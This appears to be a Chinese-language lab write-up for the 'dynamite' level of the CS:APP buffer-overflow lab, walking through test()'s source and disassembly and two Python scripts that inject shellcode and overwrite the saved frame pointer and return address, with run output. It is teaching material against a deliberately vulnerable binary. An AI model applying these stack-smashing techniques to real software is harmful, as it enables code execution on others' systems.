dynamite关卡和之前的不同,之前是要求跳转到其他地方执行,而这一关则是返回test函数继续执行.

test源码如下

void test()
{
  unsigned long long val;
  volatile unsigned long long local = 0xdeadbeef;
  char* variable_length;
  entry_check(3);  /* Make sure entered this function properly */
  val = getbuf();
  if (val <= 40) {
    variable_length = alloca(val);
  }
  entry_check(3);
  /* Check for corrupted stack */
  if (local != 0xdeadbeef) {
    printf("Sabotaged!: the stack has been corrupted\n");
  }
  else if (val == cookie) {
    printf("Boom!: getbuf returned 0x%llx\n", val);
    if (local != 0xdeadbeef) {
      printf("Sabotaged!: the stack has been corrupted\n");
    }
    validate(3);
  }
  else {
    printf("Dud: getbuf returned 0x%llx\n", val);
  }
}

可以看到,上一关bang时,是验证一个全局变量是否和cookie相等.

而test函数中,判断getbuf的返回值val是否和cookie相等.

test函数验证了local变量,而loacl为volatile型,在调用其他函数时能被修改

test函数反汇编如下

08048c7f <test>:
 8048c7f:   55                      push   %ebp
 8048c80:   89 e5                   mov    %esp,%ebp
 8048c82:   53                      push   %ebx
 8048c83:   83 ec 24                sub    $0x24,%esp
 8048c86:   e8 a5 fe ff ff          call   8048b30 <uniqueval>
 8048c8b:   89 45 f4                mov    %eax,-0xc(%ebp)
 8048c8e:   e8 71 ff ff ff          call   8048c04 <getbuf>
 8048c93:   89 c3                   mov    %eax,%ebx
 8048c95:   e8 96 fe ff ff          call   8048b30 <uniqueval>
 8048c9a:   8b 55 f4                mov    -0xc(%ebp),%edx
 8048c9d:   39 d0                   cmp    %edx,%eax
 8048c9f:   74 0e                   je     8048caf <test+0x30>
 8048ca1:   c7 04 24 a8 a0 04 08    movl   $0x804a0a8,(%esp)
 8048ca8:   e8 93 fc ff ff          call   8048940 <puts@plt>
 8048cad:   eb 36                   jmp    8048ce5 <test+0x66>
 8048caf:   3b 1d e4 c1 04 08       cmp    0x804c1e4,%ebx
 8048cb5:   75 1e                   jne    8048cd5 <test+0x56>
 8048cb7:   89 5c 24 04             mov    %ebx,0x4(%esp)
 8048cbb:   c7 04 24 13 9f 04 08    movl   $0x8049f13,(%esp)
 8048cc2:   e8 19 fc ff ff          call   80488e0 <printf@plt>
 8048cc7:   c7 04 24 03 00 00 00    movl   $0x3,(%esp)
 8048cce:   e8 11 04 00 00          call   80490e4 <validate>
 8048cd3:   eb 10                   jmp    8048ce5 <test+0x66>
 8048cd5:   89 5c 24 04             mov    %ebx,0x4(%esp)
 8048cd9:   c7 04 24 30 9f 04 08    movl   $0x8049f30,(%esp)
 8048ce0:   e8 fb fb ff ff          call   80488e0 <printf@plt>
 8048ce5:   83 c4 24                add    $0x24,%esp
 8048ce8:   5b                      pop    %ebx
 8048ce9:   5d                      pop    %ebp
 8048cea:   c3                      ret    

可以看到getbuf之后的语句为0x8048c93. 返回值应该保存到%eax中. 简单的想法.于是利用上一关的代码稍加修改得到代码exploit4.py如下

shellcode =  '\xb8\xa5\x8d\xa2\x70'+'\xc3'
#mov    $0x70a28da5,%eax
#ret
shellcode= shellcode + (40 - len(shellcode))*'a'
shellcode = shellcode +'\x20\x37\x68\x55' + '\xc8\x36\x68\x55'+'\x93\x8c\x04\x08'
# saved %ebp
# ret buf
# ret getbuf next
print shellcode
#cookie :0x70a28da5
#buf 0x556836c8
#test #0x08048c7f
#getbuf next 08048c93
#local 0xdeadbeef

但是执行的结果为

$ ./bufbomb -u 123 < dynamite.txt
Userid: 123
Cookie: 0x70a28da5
Type string:Boom!: getbuf returned 0x70a28da5
VALID
NICE JOB!
Ouch!: You caused a segmentation fault!
Better luck next time

个人理解为,因为使用两次ret会导致 段错误…所以改进后的方法如下.

exploit4.py

shellcode =  '\xb8\xa5\x8d\xa2\x70'+'\x68\x93\x8c\x04\x08'+'\xc3'
#mov    $0x70a28da5,%eax
#push $0x08048c93 
#ret
shellcode= shellcode + (40 - len(shellcode))*'a'
shellcode = shellcode + '\x20\x37\x68\x55'  + '\xc8\x36\x68\x55'
# saved %ebp
# ret buf
print shellcode
#cookie :0x70a28da5
#buf 0x556836c8
#test #0x08048c7f
#getbuf next 08048c93
#local 0xdeadbeef

push返回地址后ret而不是直接ret,在后面覆盖地址.结果没有segmentation fault

$ python exploit4.py >dynamite.txt 
$ ./bufbomb -u 123 < dynamite.txt 
Userid: 123
Cookie: 0x70a28da5
Type string:Boom!: getbuf returned 0x70a28da5
VALID
NICE JOB!